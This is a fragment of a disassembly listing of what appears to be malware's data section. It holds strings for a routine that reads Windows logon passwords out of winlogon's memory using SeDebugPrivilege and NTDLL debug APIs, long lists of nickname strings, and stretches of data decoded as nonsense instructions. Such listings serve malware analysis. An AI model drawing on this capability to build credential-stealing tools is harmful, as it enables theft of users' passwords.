		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437884	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437930	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_437964	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_437990	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_41705Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_4379C8	db  2Dh	; -		; DATA XREF: sub_416F1A+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_437A24	dd offset byte_530055	; DATA XREF: sub_416F1A+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset loc_4E0047+2
		dd 0
off_437A3C	dd offset byte_530055	; DATA XREF: sub_416F1A+CEo
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_416F1A+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o
					; sub_416F1A+161o ...
		align 10h
unk_437B00	db  2Dh	; -		; DATA XREF: sub_416F1A+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4170EC+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4170EC+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4170EC+AFo
		align 4
dword_437B4C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417552+70o
					; sub_4175E9+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437B9C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4175E9+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_437BF0	dd offset aQ		; DATA XREF: sub_417ADD+5Cr
					; "q"
; ---------------------------------------------------------------------------
		mov	al, ds:38004387h
		lodsb
		inc	edx
		add	[ebx+eax*8], al
		inc	edx
		add	[eax-3Eh], bh
		inc	edx
		add	[edi+eax*4-5587FFBDh], bl
		inc	edx
		add	ah, dl
		retn	42h
; ---------------------------------------------------------------------------
		push	esp
		stosb
		inc	edx
		add	ah, dl
		lodsb
		inc	edx
		add	ah, bl
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aD		; "d"
		dd offset dword_438798
		dd offset dword_438794
		dd offset dword_438790
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_43878C
		dd offset dword_438788
		dd offset dword_438784
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_438780
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_43877C
		dd offset dword_438778
		dd offset dword_438774
		dd offset dword_438770
		dd offset dword_43876C
		dd offset word_438768
		dd offset dword_438764
		dd offset aI_0		; "I"
		dd offset dword_438760
		dd offset dword_43875C
		dd offset aA_0		; "A"
		dd offset dword_438758
		dd offset dword_438754
		dd offset dword_438750
		dd offset dword_43874C
		dd offset dword_438748
		dd offset dword_438744
		dd offset dword_438740
		dd offset dword_43873C
		dd offset dword_438738
		dd offset dword_438734
		dd offset dword_438730
		dd offset dword_43872C
		dd offset dword_438728
		dd offset word_438724
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary		; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_4384BC
		dd offset off_4384B8
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438324
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_437EF0	dd offset aSex_0	; DATA XREF: sub_417ADD+41r
					; sub_417ADD+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck		; "|suck|"
		dd offset aLuck		; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex		; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick		; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset dword_438780
		dd offset aC		; "c"
		dd offset aD		; "d"
		db  38h	; 8
		db 0ACh	; ╛
		db  42h	; B
		db    0
		db  98h	; ≤
		db  87h	; ┤
		db  43h	; C
		db    0
		db  94h	; ■
		db  87h	; ┤
		db  43h	; C
		db    0
		db  90h	; ░
		db  87h	; ┤
		db  43h	; C
		db    0
		db 0D4h	; т
		db 0C2h	; б
		db  42h	; B
		db    0
; ---------------------------------------------------------------------------
		cld
		mov	ah, 42h
		add	[ebx+esi*4+42h], al
		add	[eax-39h], bl
		inc	edx
		add	[edi+eax*4-533BFFBDh], cl
		inc	edx
		add	[eax-4Dh], cl
		inc	edx
		add	al, bh
		mov	dl, 42h
		add	[edx+ebp*4+42h], dl
		add	al, ch
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
; ---------------------------------------------------------------------------
		mov	al, ds:84004387h
		xchg	eax, [ebx+0]
		pushf
		xchg	eax, [ebx+0]
		mov	[edi-7E83FFBDh], al
		inc	ebx
		add	[eax-7Fh], bh
		inc	ebx
		add	[ecx+eax*4+43h], dh
		add	[eax-7Fh], dh
		inc	ebx
		add	[ecx+eax*4+43h], ch
		add	[eax-7Fh], ch
		inc	ebx
		add	[ecx+eax*4+43h], ah
		add	[ecx+eax*4+43h], bl
		add	[ecx+eax*4+43h], dl
		add	[ecx+eax*4+43h], cl
		add	[ecx+eax*4+43h], al
		add	[eax-6BFFBC79h], cl
		xchg	eax, [ebx+0]
		fadd	st(2), st
		inc	edx
		add	al, ch
		retn	42h
; ---------------------------------------------------------------------------
		dd offset off_438140
		dd offset aBbl		; "|bbl"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset a___0		; "_|_"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_438750
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_438780
		dd offset dword_43D128
		dd offset aSleeping	; "Sleeping"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset aFuck		; "Fuck"
		dd offset aFree		; "Free"
		dd offset dword_43D128
		dd offset dword_43D128
		dd offset dword_438734
		dd offset dword_43D128
		dd offset off_438100
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_4380C0
		dd offset dword_4380BC
		dd offset dword_4380B4
		dd offset dword_4380A8
		dd offset dword_4380A0
		dd offset dword_438098
		dd offset dword_438090
		dd offset dword_43808C
		dd offset dword_438088
dword_438088	dd 7536h		; DATA XREF: ___:00438084o
dword_43808C	dd 7535h		; DATA XREF: ___:00438080o
dword_438090	dd 7C75347Ch, 0		; DATA XREF: ___:0043807Co
dword_438098	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438078o
dword_4380A0	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438074o
dword_4380A8	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438070o
dword_4380B4	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:0043806Co
dword_4380BC	dd 6C6F6Ch		; DATA XREF: ___:00438068o
dword_4380C0	dd 746F74h		; DATA XREF: ___:00438064o
aMofo		db 'mofo',0             ; DATA XREF: ___:00438060o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:0043805Co
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438058o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438054o
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438050o
aShit		db 'shit',0             ; DATA XREF: ___:0043804Co
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: ___:00438048o
		align 4
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438044o
		align 10h
off_438100	dd offset loc_594F42	; DATA XREF: ___:00438040o
aFree		db 'Free',0             ; DATA XREF: ___:0043802Co
		align 4
aFuck		db 'Fuck',0             ; DATA XREF: ___:00438028o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:0043801Co
		align 10h
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438010o
		align 4
aSad		db 'Sad',0              ; DATA XREF: ___:0043800Co
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438008o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00437FECo
aBbl		db '|bbl',0             ; DATA XREF: ___:00437FE0o
		align 10h
off_438140	dd offset loc_425242	; DATA XREF: ___:00437FDCo
aMuckc		db 'muckc',0
		align 4
aTruck		db 'truck',0
		align 4
aTrimy		db 'trimy',0
		align 4
aLuvy		db 'luvy',0
		align 4
aUi		db 'ui',0
		align 4
aSdf		db 'sdf',0
aRt		db 'rt',0
		align 10h
aGf		db 'gf',0
		align 4
aTy		db 'ty',0
		align 4
aRg		db 'rg',0
		align 4
aHappy		db 'happy',0
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00437F80o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: ___:00437F38o
		align 10h
aQ8		db 'Q8',0               ; DATA XREF: ___:00437F34o
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00437F30o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:00437F2Co
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:00437F28o
		align 10h
aGens		db '{gens|',0           ; DATA XREF: ___:00437F24o
		align 4
aSex		db '{sex}',0            ; DATA XREF: ___:00437F20o
		align 10h
aHub		db '{hub}',0            ; DATA XREF: ___:00437F1Co
		align 4
aLuck		db '|luck|',0           ; DATA XREF: ___:00437F18o
		align 10h
aSuck		db '|suck|',0           ; DATA XREF: ___:00437F14o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: ___:00437F10o
		align 10h
aWoh		db '|woh|',0            ; DATA XREF: ___:00437F0Co
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: ___:00437F08o
aLag		db 'lag',0              ; DATA XREF: ___:00437F04o
aBad		db 'bad',0              ; DATA XREF: ___:00437F00o
aTree		db 'tree',0             ; DATA XREF: ___:00437EFCo
		align 10h
aZex		db 'zex',0              ; DATA XREF: ___:00437EF8o
aLez		db 'lez',0              ; DATA XREF: ___:00437EF4o
aSex_0		db 'sex',0              ; DATA XREF: ___:off_437EF0o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00437EECo
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00437EE8o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00437EE4o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00437EE0o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00437EDCo
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00437ED8o
		align 10h
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00437ED4o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00437ED0o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00437ECCo
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00437EC8o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00437EC4o
		align 10h
aPassenger	db 'passenger',0        ; DATA XREF: ___:00437EC0o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00437EBCo
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00437EB8o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00437EB4o
aAkden		db 'akden',0            ; DATA XREF: ___:00437EB0o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:00437EACo
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00437EA8o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00437EA4o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00437EA0o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00437E9Co
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00437E98o
		align 10h
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00437E94o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00437E90o
		align 10h
aErkan		db 'erkan',0            ; DATA XREF: ___:00437E8Co
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00437E88o
		align 10h
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00437E84o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00437E80o
		align 10h
aA44m		db 'a44m',0             ; DATA XREF: ___:00437E7Co
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00437E78o
		align 4
off_438324	dd offset byte_4B5245	; DATA XREF: ___:00437E74o
aSevda		db 'sevda',0            ; DATA XREF: ___:00437E70o
		align 10h
aKotan		db 'kotan',0            ; DATA XREF: ___:00437E6Co
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00437E68o
		align 10h
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00437E64o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00437E60o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00437E5Co
		align 10h
aHayran		db 'hayran',0           ; DATA XREF: ___:00437E58o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:00437E54o
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00437E50o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00437E4Co
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00437E48o
		align 10h
aUmut		db 'umut-',0            ; DATA XREF: ___:00437E44o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00437E40o
		align 10h
aKumul		db 'kumul',0            ; DATA XREF: ___:00437E3Co
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00437E38o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:00437E34o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00437E30o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00437E2Co
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00437E28o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:00437E24o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00437E20o
aHoly		db 'holy',0             ; DATA XREF: ___:00437E1Co
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00437E18o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:00437E14o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00437E10o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00437E0Co
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00437E08o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:00437E04o
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00437E00o
		align 10h
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00437DFCo
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00437DF8o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:00437DF4o
aArda		db 'arda',0             ; DATA XREF: ___:00437DF0o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00437DECo
		align 10h
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00437DE8o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:00437DE4o
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00437DE0o
		align 10h
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00437DDCo
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00437DD8o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00437DD4o
		align 10h
aAnkh		db 'ankh',0             ; DATA XREF: ___:00437DD0o
		align 4
off_4384B8	dd offset byte_457441	; DATA XREF: ___:00437DCCo
dword_4384BC	dd 414C5941h, 2Dh	; DATA XREF: ___:00437DC8o
aAlbina		db 'albina',0           ; DATA XREF: ___:00437DC4o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00437DC0o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00437DBCo
		align 10h
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00437DB8o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00437DB4o
		align 10h
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00437DB0o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00437DACo
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00437DA8o
		align 10h
aRetg		db 'RETG',0             ; DATA XREF: ___:00437DA4o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00437DA0o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00437D9Co
aAslii		db 'aslii',0            ; DATA XREF: ___:00437D98o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00437D94o
aHaticem	db 'haticem',0          ; DATA XREF: ___:00437D90o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00437D8Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00437D88o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00437D84o
		align 10h
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00437D80o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:00437D7Co
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00437D78o
		align 10h
aTrend3		db 'trend3',0           ; DATA XREF: ___:00437D74o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00437D70o
		align 10h
aAkin		db 'AKIN',0             ; DATA XREF: ___:00437D6Co
		align 4
aMary		db 'MARY',0             ; DATA XREF: ___:00437D68o
		align 10h
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00437D64o
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00437D60o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00437D5Co
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:00437D58o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:00437D54o
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00437D50o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00437D4Co
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00437D48o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:00437D44o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00437D40o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00437D3Co
		align 10h
aKencing	db 'Kencing',0          ; DATA XREF: ___:00437D38o
aReshma		db 'reshma',0           ; DATA XREF: ___:00437D34o
		align 10h
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00437D30o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:00437D2Co
		align 10h
aImra		db 'imra',0             ; DATA XREF: ___:00437D28o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:00437D24o
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00437D20o
		align 10h
aKermit		db 'kermit',0           ; DATA XREF: ___:00437D1Co
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00437D18o
		align 10h
aTroller	db 'troller',0          ; DATA XREF: ___:00437D14o
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00437D10o
		align 10h
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00437D0Co
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00437D08o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:00437D04o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:00437D00o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00437CFCo
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:00437CF8o
aMarcy		db 'marcy',0            ; DATA XREF: ___:00437CF4o
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00437CF0o
		align 10h
